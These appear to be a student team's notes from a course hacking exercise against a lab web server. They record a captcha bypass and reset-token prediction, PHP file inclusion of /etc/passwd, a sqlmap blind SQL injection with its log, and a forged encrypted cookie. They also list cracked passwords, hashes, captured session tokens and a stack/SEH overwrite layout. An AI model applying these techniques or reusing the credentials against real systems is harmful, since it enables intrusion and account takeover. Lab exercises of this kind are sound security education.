

# Acquiring Website Password - Done

- We can do an online attack against password reset tokens because the ID of the captcha is stored on the frontend. So we can just script a POST of the form to the server and always complete the same captcha, regardless of which captcha the server sent us. This looks like a pretty big vulnerability that should be exploited.
  - For example POST to /forgotpw.php?user=RiskyHoneypot
    - captcha\_name=947
    - captcha\_solution=Sy5
    - token=our\_token\_guess
  - Full implementation in exploits/fetchpass.py
- PHP file inclusion can be done with <http://comp535-lampvm2.cs.unc.edu/download.php?file=/etc/passwd>
  - CAN do this on ALL php files.
  - See php/ for all our code
- user amw can have the password reset, instructions in this paper for guessing captcha:
  - [Link to the paper](#) - This was a dead end because of an easier approach
- they're using a finite set of captchas, 818 through 1052, as follows:
  - [http://comp535-lampvm2.cs.unc.edu/captchas/video\\_897.webm](http://comp535-lampvm2.cs.unc.edu/captchas/video_897.webm)
  - Because of this, we can automate captcha bypass by feeding the same answer every time.
- Ryan: possibly something with Rick Astley
- Running the command -"\$ sqlmap -u [http://comp535-lampvm2.cs.unc.edu/projects.php?order=schematicsid#Bourne reborn --dbs](http://comp535-lampvm2.cs.unc.edu/projects.php?order=schematicsid#Bourne+reborn+--dbs)" gives us two databases: information\_schema, secureweb
  - Actual command used: *order=(SELECT (CASE WHEN (8933=8933) THEN 8933 ELSE 8933\*(SELECT 8933 FROM INFORMATION\_SCHEMA.CHARACTER\_SETS) END))*
  - See SQLMAP LOGS for further info
  - Hashes gained from users table in passwords
    - Used sql queries "SELECT password FROM users WHERE username='<username>'" to match users with hashes
- **solarski : Ap1swa7w**
  - Obtained by using kiddough.py on "A picture is sometimes worth a thousand words" and checking against the hash for the user
  - **F594662E1FFAA3AEF92BF59E4E20CC87161AABD0C3A7D7438167E7DCD5AAE5858468CF90FF7EA16E086F22F3761694DE7A4E8562C485CB2F**
- **drdesai : Westborough2013**
  - Obtained using 'compositestring.py' and the keywords from deven's fencing page
  - **260897419F7E7CF2B84DBA77C2FBFD1A1A4D24F4D4BF4A1CC96252BC78E0BD3FD0F4CD4B84FF0B69B830CC0E0C228FC0C28BBAC710FD9E56**
- **fabian : fauxtatoes**
  - **21F51C0D638ACBFD015716B5BE3CDFBEEAB1ED4F0FF664CC98C71EC0C0815588585B9FA6B959F0D738AC042E34FB7CD6EDF46A4DEED20C17**

- RiskyHoneypot : YGQVT5Fe0Fh4uQLWiNfnA3hLCyzX0e
- ForcefulFirewall : VHq4w7LJk1RurFSIOyXSAmji6vCiMa
- amw : Nice try.
  - All three above obtained by probabilistically attacking the reset token page with fetchpass.py

## Password Reset Mechanics - Done

- Discovered in **php/forgotpw.php**
- Encoding is `base64_encode(md5(seconds::microseconds::username))`
  - Example MD5("1492638993::307::ForcefulFirewall")
- Attempt to guess exactly the right microsecond that the server generated the reset token, recreate it, and post it back. This isn't hard because the request RTT from the lab VM is about 4 microseconds. If you just do the same thing over and over, eventually you'll guess correctly. Usually took 3-5 attempts.
- Cracked with fetchpass.py

## APIKEY\_TOKEN Cryptanalysis - Done

- Using the information we learned in **header.php** and **account.php**, we knew that we needed to:
  - Figure out which key the server was using by
    - Guessing ALL PIDs
    - Guessing ALL combinations of UID/GID in `/etc/passwd` and `/etc/groups`
    - All other values were known (some determined at runtime)
  - Confirm the key by decrypting the APIKEY\_TOKEN cookie
  - Encrypt a NEW string `"== SecureToken LoggedIn=True Publisher=True =="` with the key we discovered.
  - Replace the APIKEY\_TOKEN cookie with the encrypted value we generated in order to access a section of code which would perform the API Key lookup in the database for us.
- These steps were automated in `get_token.php`

## Data We Have

- ForcefulFirewall passwords: `.xls *jqI`
- RiskyHoneypot passwords: `zjqI {ogI`
- Use secondary passwords to get over 25 points
- Obtained from user solarski
  - Objects in the game have a velocity for the X direction and the Y direction. Design of Roxanne required us to hard code both of these values. See `common_defs.h`
  - `PWD_STORE_token=TFaK3OkTljkeOzO3OSv1noC4D4CzuQz87MwdnJJTkGqfY6unJwdaR9VPJMSw8cLIzyQjAqlyWk%2Fk3%2BbSZSBczVSzCFKDiBPwwQQDX5OUTEiP0AVIDORpkd0FOvyqiKq1WIGE1x3W36Y1r66JAC5A%2Fkj5jiyED1t5sIVQLD%2BMvnWBlcXtVN3e6HWY9fbnEtuhW%2BFkuUAjDfArdMKYQ2KGw4xoThxjdvjzZH%2BD9DTb9PwhdX5Bx0r3G5IEuA3c4%2FnluYzdJQ75eEczMbdts4pk0CIpiLA%3D;`

- **PWD\_STORE\_token\_salt**=a%C8%F6;  
**SAFE2\_TOKEN**=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8IXrrx%2BeCGo2WC0sSOcXBZSh9
- Obtained from drdesai
  - I figured that wall hacks will be easy things to accomplish. I have a surprise - if you try wall-hacking, then bots will come for you with vengeance! Client objects are described using the data in this enum: [include](#).
  - Same header file as solarski
  - **PWD\_STORE\_token**=lv%2BdIIA%2FBFBdNkZqEYRzT4H5VWAro%2BdXaKfXZzxD27e6pCOSMAncVIHDu4E%2Fuf2m6%2BtQifi8p%2BPdsaJrW%2BkvyKhK5BZ848P9E5dU6dGdA gqjzuenR0tHdmM1%2BjD89ldDlr8xWkt5PtPy%2FoAq6M8ICWnHvWASv5brpXabyi0y3FYW9DxFxPQ5u5OaaJiJIJri8UgYKocw6oEzRgYs9bVdbse3%2B9CVgdHzEm6DiDNjGB0UdLfn aqLyOW5mqNanwYl4mZsZvH2bCxGSDYJNwfQ0UNdYUwE%3D;
  - **PWD\_STORE\_token\_salt**=%F1%A8%2A;
  - **SAFE2\_TOKEN**=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8IXrrx%2BeCGo2WC0sSOcXBZSh9"
- Obtained from fabian
  - The authentication scheme needed some reliability improvements. The client sends username, password and a hash of the two. Thanks to that, the server just needs to check the hashes. The hash function source is available here: see hash\_func.h
  - **PWD\_STORE\_token**=9%2B0VbrYYgPFod16jTzoDFWjgxJghj2RbrNsjURuy8%2FFJEGkPeF9opYpRIwFvNQ2YSP3W9I7cxTaPXquNimNlyzB7yiBpiMGi5xrs4q6hL627U2Wt2RMuYAs6CkaTpEDZI%2FKbiiuf%2Bpz3KVm9dTk3%2Fojco7KMglw057KcTDeJY%2F4O0tpvPjLYquEYkeTPIHKpp1wnKncA2oscTjYWoflgQWnGh8NtpDyzJ08HDYBpngCsVFSfJqW3r4KMD4D%2F44KB%2Fp5RsLesl98gj7y4jpPysWSHxsU%3D;
  - **PWD\_STORE\_token\_salt**=V%2CR;
  - **SAFE2\_TOKEN**=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8IXrrx%2BeCGo2WC0sSOcXBZSh9
- Obtained from ForcefulFirewall
  - **PWD\_STORE\_token**=4Qdx1%2BOhiKMJRV9UEAX7nSips%2Bg5JgY0zXKfSQEc9FdZdXQZJ3Qum%2FmQukOHfjVXeOQ9hkGI9Pd2QPbgBedkyUHm8nSg731Z12k4apUskNNjAoy4LM5YFWf7574xuveNOPUSng%3D%3D;
  - **PWD\_STORE\_token\_salt**=%D8%E7%E4;
  - **SAFE2\_TOKEN**=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8IXrrx%2BeCGo2WC0sSOcXBZSh9
- Obtained from RiskyHoneyPot
  - **PWD\_STORE\_token**=wwZOHzEqJ%2BFtnxCies2zqR%2FPo6pA%2FwdeMJztgIYw4Xeq8YZN2%2Bkn64gXBdnRVNW0%2FteHLkK3sat%2F5azlgVC91zBMg5S%2Bm0rMyDq3Jqm2rs%2FGpqEtjWxSbTwkZwMELhg106uYuw%3D%3D;
  - **PWD\_STORE\_token\_salt**=%80+9;  
**SAFE2\_TOKEN**=5%2B7OPhh9e4%2BDH5YRH1YY7ILgC3N5bYabxf6rVvi8IXrrx%2BeCGo2WC0sSOcXBZSh9; PHPSESSID=2l8ch53tsd4bh1laqt0drjf12

## Bypassing Registration - Done

Things we know:

- Program asks for file containing 8 characters.
- Program does not verify there are only 8 character.
- Bytes 0-7 are read in as the key attempt
- Bytes 8-12 ??
- Bytes 13-16 overwrites the address returned to in the program
- Bytes 64-72 are the next SEH ptr and SEH handler

## SQLMAP LOGS

sqlmap identified the following injection point(s) with a total of 44 HTTP(s) requests:

---

Parameter: order (GET)

Type: boolean-based blind

Title: MySQL >= 5.0 boolean-based blind - Parameter replace

Payload: order=(SELECT (CASE WHEN (8933=8933) THEN 8933 ELSE 8933\*(SELECT 8933 FROM INFORMATION\_SCHEMA.CHARACTER\_SETS) END))

available databases [2]:

[\*] information\_schema

[\*] secureweb

### Database: information\_schema

[61 tables]

See database/information\_schema.txt

### Database: secureweb tables

List of all tables

[3 tables]

```
+-----+
| captcha |
| projects |
| users   |
+-----+
```

### Database: secureweb table users

[9 columns]

```
+-----+
| Column      |
+-----+
| lastname    |
| aboutme     |
| firstname   |
| password    |
```

	safe_access	
	upload	
	username	
	website	
	userid	
+-----+		

**Password hashes: (need to determine what goes with what user)**

Database: secureweb

Table: users

Content: see database/passwords.csv